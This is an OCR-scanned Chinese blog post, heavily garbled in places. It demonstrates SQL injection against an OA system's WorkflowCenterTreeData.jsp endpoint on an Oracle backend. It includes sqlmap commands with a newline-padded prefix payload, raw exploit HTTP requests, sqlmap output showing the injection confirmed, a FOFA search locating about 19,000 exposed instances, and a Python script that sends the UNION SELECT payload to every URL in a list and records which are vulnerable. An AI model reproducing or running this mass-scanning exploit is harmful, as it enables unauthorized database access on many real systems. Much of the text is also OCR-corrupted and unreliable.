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sqlmap &4 —prefix,—suffix

ERLIRH, FEMEND payload HIRTEEFEIN—LFFF, RIRIE payload HFIIEFEH,

17,
folan, RS RX R REUERERY:
$query = "SELECT * FROM users WHERE id=(*". $_GET[' id' ]."’) LIMIT 0, 1;

XBH Rl E—prefix Fl-suffix 247 :

python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get str_brackets.php?id=1" -p id --prefix "' )" -



-suffix "AND (" abc’ =" abc"

XHEENATEY SQL IBEEER:

$query = "SELECT * FROM users WHERE id=(’1°) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";
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Raw | 35 | Hex

HOd%0a%0d%0a%0 %0a% 0% Da%0dh 0a% 0 d%0ak 0d% 0a%0d% 0a% 0d%0a% 0% 0a%0 % Dak
0cd%0a%0d%0a%0d%0a%0dh0a% 0d%0a%0d%0a%0d%0a%0d%0a%0 %0ak 0 d%0ak0dk 0a%0
d%0a%0d%0a%0d%0a%0 d%0ak 0 d%0a%0d% 0a%0 0% 04%0a%0d% 0a%0 d%0a%04%0a%0d
%0a%0 d%02a%0d%02%0d% 0a% 0 d%0a% 0% 0a%0d% 0a% 0 d%0a% 04% 0a%0 d% 0a% 0 %0 a% 0 d%
Dah0d%0a% 0 d%0a%k0d% 0a%0d% 0a%0dh0a%0d% 0a%0 % 0a%0d%0a%0d% 0a% 0 dh0ak 0d%0
a%0d%0a%0d%0a%0d%0ak0dk 0a%0 A% 0a% 0d%0a%0d% 0a%0d%0a% 0 0a%0d% 0a%0 d%0a
%0 d%0a%0d%0a% 0 d%0a%0d% 0a%0dk 0a% 0 2 0alk 0 d% 0a%0d% 0a% 00 a% 0d% 0a%0 % 0ak
0 %0z 0% 0a%0d% 0a% 0 d0a% 0d% 0a%0 d% 0a% 0d%0 a%0d% 0a%0 % 0a% 0 %D ak0dk 0a% 0
d%0a0d%0ak0d% 0a%0 d%0ak 0 d%0a%h0d% 0a%0h0a% 0d%0a%0d% 0=k 0 d%0a%0d%0a%0d
%0a%0 d%0a%0d% 0a%0d% 0alk 0 d%0alk 0% 0a%0d% 0a% 0 d%0a% 04% 0a%0 A% 0a% 0 %0 a% 0 d%
0a%0d% 0a% 0 d%0a%0d% 0a%0d% 0a%0d%h0a%0d% 0a%0 % 0a%0d%0a%0d% 0a%0 d%0a% 0% 0
a%0dh0a%0d%0a%0d%0a%0d% 0a%0 d%0ak 0 d%0ak0d% 0a%0d%0a%0dh0a%0d%0a%0 d%0a
HOd%0a%0d%0a%0 %0ak0d% 0a%0dk 0a% 0 dh0ak 0 A 0akh0d% 0a%0dkh0a% 0% 0ak0o % 0ak
0d%0al% 0% 0a%0d%0a% 0 Lh0a% 0d%0a%0d%0a%0d%0a%0d%0a%0 %0a% 0 d%0a%0d% 0a%0
d%0a%0d%0a%0d% 0a%0 d%0ak 0 d%0a%0d% 0a%0 h0a% 0d% 0a%0d% 0=t 0 d%0a% 0d%0a%0d
%0a%0d%0a%0d%0a%0d% 0ak 0 d%0ak 0d%0a%0d% 0ak 0 dh0a%0d% 0ak0 d%0a%0 %0 a%dd%
0a%0d% 0a% 0 d%0a%0d% 0a%0d% 0a%0d%0a%0d%0a%0 % 0a%0d%0a%0d% 0a%0 d%0a% 0d%0
a%0d%0a%0d%0a%0d%0a%0d% 0a%0 d%0a% 0 d%02%0 4% 0a%0d%0a% 0% 0a% 0% 0a%0 d%0a
HOd%0a%0d%0a%0 d%0a%0d%Da%0dk 0a% 0 d%0ak 0 0ak0d% 0a%0d%h0a% 0% 0ak%0 % Dak
0d%0a%0d%0a%0d%0a%0de0ak0d%0a%0d%0a%0dunion select NULL, value from
viparameter order by (((1

o

L

[{"1d”:"wf_12217, "text”: 111", "1eaf” :true, “checked” :false, “dragegabl
e”:falsel, {"1d": "wf_", "text”: "WORACLE_HONE%'\RDBNS”, "leaf”:true, “c
hecked”:false, “draggable”:falsel, {"1d”:"wf ", “text” : “(PROTOCOL=TCP

y -
(SERVICE=hekoa¥DE?”, “leaf”: true, “checked”: false, “draggable”: false)
A”id”:”wf_”, “text”:70”, "leaf”:true, "checked”:false, “draggable”: fa
sel, {"1d”:"wf ", "text”:"1”, "leaf” :true, "checked”:false, “draggable
Yifalsel, {"id”:"wf_", “text”: 7107, "leaf”: true, “checked”: false, “drag
gable”:falsel, {"1d":"wf_", "text”:"100", "leaf” :true, “checked”:false
,“draggable”:falsel, {"id":"wf_ ", “text”:"10007, “leaf” :true, “checked
“:false, “draggable”:falsel, {"id”":"wf_", "text”:7102400", "leaf”:true
, "checked”:false, “drageable”:false}, {"1d”:"wf_", “text”:"1048576", "
leaf”:true, “checked”:false, “draggable”:false}, {"id”:"wf_ ", "text”:”
11.2.0.0.07, “leaf” :true, “checked”: false, "draggable” :false]), {"1d":”
wE_ ", “text”:"11.2.0.17, "leaf” 1true, “checked”:false, "draggable”: fal
se}, ["id":"wf_", “text”:"128", "leaf”: true, “checked”: false, "draggabl
e”:falsel, {"id":"wf_ ", "text”:"131072", “leaf” :true, “checked”: false,
“draggable”:falsel, {"1d”:"wf_", "text”:"1440", "leaf” :true, “checked”
:false, “draggable”:false}, ["id”:"wf_ ", “text”:"150", “leaf”: true, "ch
ecked”:false, “draggable”:falsel, {"1d":"wf_", "text”:"1524", "leaf”:t
rue, “checked”:false, “draggable”:falsel. {"1d":"wf ", “text”:"18", "1e
af”:true, “checked”:false, “draggable”:false}, {"1d":"wf_", "text”: 16
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(PS C:\Users\samny\Desktop\22.txt 1 ASZ#:J?ESZJ:E%HE@,E’J RD%T r:ﬁﬂl?‘ sqlmap
REREET, TREAENEER. )

sqlmap.py -r C:\Users\samny\Desktop\22.txt --dbms oracle -p formids --prefix ")))%0a%0d%0a%0d%0
a%0d%0a%0d %0a%0d %0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d%0a%0d %0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d %0

a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d %0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d %0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d %0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d %0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d %0a%0d %0a%0d %0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d %0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d%0a%0d %0a%0d %0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d %0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d %0a%0d %0a%0d %0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d %0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d%0a%0d %0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d %0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d%0a%0d %0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d %0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d%0a%0d %0a%0d %0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d %0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d %0a%0d %0a%0d %0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d" --suffix "order by (((1"
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a\Local'sqlmap‘output’

[*] ending @ 22:11:39 /2019-10-11/
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B CA\Windows\System32\crd.exe
BT, I_]l http

[!] legal disclaimer: Usage of
consent is 1llegal. It is the
local, state and fTederal laws. De
sible for any misuse or damage c:

[*] starting @ 21:44:49 /2019-10-11/
I[ [ 1 parsing HTTP r

[ not a valid w
cleaning up
setting the
sett

vided parameter
provided parameter

[CRITICAL] all
e given request data

[
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[
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n the

[*] ending @ 21:44:50 /2019-10-11/

E:\sqlmap-master:>

= =

sqlmap for att
end user's res
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a
FI
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L 2. 5

cking targets without prior mutual
onsibility to obey all applicable

5 program

ab Tog
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estable parameters

configuration p

HTTP timeout
"—Agent
“s opener

"formids'

header

object

15 not inside the GET
15 not inside the POST

you provided are not present withi
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[!] potentially miswritten (illegal '=') short option detected'('-p=formids’)

Press Enter to continue..._ ittps://blog.csdn.net/sun1318¢

XTMERERSENTRNER! 8T, sqlmap TiEiRE!

&R sglmap - py -3 sglmap.py -r 1.itxt -p=formids—-prefix '}}}%Da%ﬂd%ﬂa%ﬂd%ﬂa%ﬂd%ﬂa%...l = | (5] |-$E-]



MiHB #HE Blo =EN #Ed

FOST /mobile /browser MorkflowCenterTreeData. jspnode=wftype_l&scope=2333 HTTP/1.1
Host:

User-Agent: Nozilia /5.0 (Mac tosh: Intel Mac 05 ¥ 10.14; rv:B6.0) Gecko 20100101 Firefox/G6. 0
Content-Length: 22dd

beeept: text/htnl, application/shtml4zml, application/sml; g=0. 9, */4:9=0. 8
Accept-Lanzuagze: zh-CN, zh; g=0. 8, en-U5; q=0. 5, en; =0, 3

becept-Fncoding: gzip, deflate

Content-Type: application/z-www—formurlencoded

Content-Length: 2244

Connection: close

Upgrade-Insecure-Requests: 1

formids=11111111111

BRI F AT LA — BRSO F ! RPRAENKIAY!

XHE #HE BRQ =ZEFN FEH

|POST /mokile/browser MorkflowCenterTreeData. jsp HTTR/1.1

|Host:

EUser—Agent: Moz111a/5.0 (Macintosh: Intel Mac 0S ¥ 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
becept: text/html, application/xhtml+zml, applicationxml ; q=0. 9, * /% g=0, 8

beocept-Languagze: zh—CH, zh; g=0. 8, en-UU3; =0, 5, en; q=0. 3

becept—FEncoding: gzip, deflate
Commection: close
IIEbgrade—lnsecure—ﬁ?quegtsi 1




LONtENT—LYVPE: appllcatlon/x—WWwWw—Iorm—urlencoded
Content—-Length: ZZ70

|

[node=wftype_l&scope=2333&formids=11111111111

£ [

Ps

XSKEFERIC - p ESGERANTF! EATLIEANBRIENKLHT! |

LY L= el duse Liie =4 - 2 - i I'._.jll"‘l LITArl Lhs i i e f )y

] [WARNING]
] [CRITICAL] =I.-|-| t : :
se valu . "1 npf1nﬂ: 1# G } Urm more
some kind of prot ] ] ] \ (
option "--tamper

] HTTP codes de ed during run:
Ver Errur_ - es, 4 (Not Found) - & time

burpsuite BEEIB®IIEERI LMEREIREIERAR! RERiraEMSEH TEEITIHE
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HIEEE Intruder Ctri+l
Fi¥Et Repeater Ctri+R
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XA BHAINRIITF! BRI O 1!

UNION ALL SELECT HHLL.EHH (113)
CHR(122) | |« i

(7 4‘ 'HFi

]} FPIH DHaL Grdur b, i
] [ 1 performed 1 querie
"

1L ] testing Oracle .
] [ INFC % confir rl'l'lrl'-_-] Oracle I:E:‘ k-end ?ErEL . :]5'3":_-"2 . : J
B T e 1eD tetched data nqgu;

neb app th?nu th1ngy. JsP a\Local\sqlmap\output 75
[ 11 etched dat> logged to text||raq . 4: & 99.11.-22 /2019-10-11 /
a\Local\sqlmap'output\oa.: om.cn' [*] ending @ 22:11:53 /2019-10-11,

[*] ending @ 22:11:39 /2019-10-11/

F:\sqlmap\sq

0x04 HtEIIERIRNESFE
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HIWEZE API&SDK FFIE FofaZ=Fim

app="re BRI 0A" BEP T AP

1£% app="ZW-RIMA0A" 5545 19,398 FILALEE (ERIIPECH 11,992 &), ARt EE]
22 =, #5; extended, )
BUAR B —FRINEOR | i ol SeEEEmE,

@ EFR/AMKHES

’ i % © 2019-10-12

Am HTTP/1.1 200 OK
ASN: Connection: close
B e 19,048 s Content-Length: 3139
R . “ache-Control: private,max-age=86400
e L Content-Type: text/html; charset=utf-8

E= =H ¢ Date: _Salt,-12 C.)ct 2019 08: GMT

= g v

L_J=1:-3

{EFRRIAIQIE! TERXERE! ERX —ERIREE!




0x05 RHZASEES

#config=utf-8

import requests,json

def fanwei(urls):
try:

url = urls+"mobile/browser/WorkflowCenterTreeData.jsp?node=wftype 18&scope=2333"
data = "formids=11111111111)))%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d %0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d %0

_O/AID/A_D/IA N/ A_O/IAIN/ A_O/IAIN/ A_O/ AN/ A_O/ AN/ A_O/AIO/ A_O/ AN/ A_O/ AN/ A_O/ AN/ A_O/ AN/ A_O/ AN/ A_O/ AN/ A



a70U07oUa70ua7oUd 7oUd 70Ud 7oUd 70Ua 7oUd 70Ua 7oUd 70U 7oUd 70Ua 70U 70Ua 70U 70Ua 70U 7oUa 70Ud 7oUa 70U 7oUa 70Ud 7oU
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d %0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d %0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d %0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d %0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d %0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d %0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d %0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d %0a%0d %0a%0d %0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d %0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d%0a%0d %0a%0d %0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d %0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d%0a%0d %0a%0d %0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d %0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d%0a%0d %0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d %0
a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0

a%0dunion select NULL,value from v§parameter order by (((1 "

headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firef
0x/56.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;,q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding”: "gzip, deflate”,
"Content-Length": "2236",



"Connection": "close",

"Upgrade-Insecure-Requests":"1"

info = requests.post(url,headers=headers,data=data,timeout=30)
if info.status_code == 200:

json_info = json.loads(info.text)

if json_info == []:
print(urls+" NMFERE")
with open("no.txt", 'a') as f:
f.write(urls + \n")
else:
print(json_info)
print(urls+" FERRE")
with open("ok.txt", 'a') as f:
f.write(urls + \n")
else:
print(urls+" AMFEERA")
with open('no.txt", 'a') as f:
f.write(urls + '\n")
except requests.exceptions.HTTPError:
print(urls+" --HTTPError")
with open("error.txt", 'a') as f:
f.write(urls + \n")
except requests.exceptions.ConnectionError:
print(urls+" --ConnectionError")
with open("error.txt", 'a') as f:
f.write(urls + \n")
except requests.exceptions.Timeout:
print(urls+" --Timeout")
with open("error.txt", 'a') as f:
f.write(urls + \n")
except json.decoder.JSONDecodeError:
print(urls+" --JSONDecodeError")
with open("error.txt", 'a') as f:

f.write(urls + \n")



fp=open("1.txt")

for line in fp:
line = line.strip(‘\n')
fanwei(str(line))
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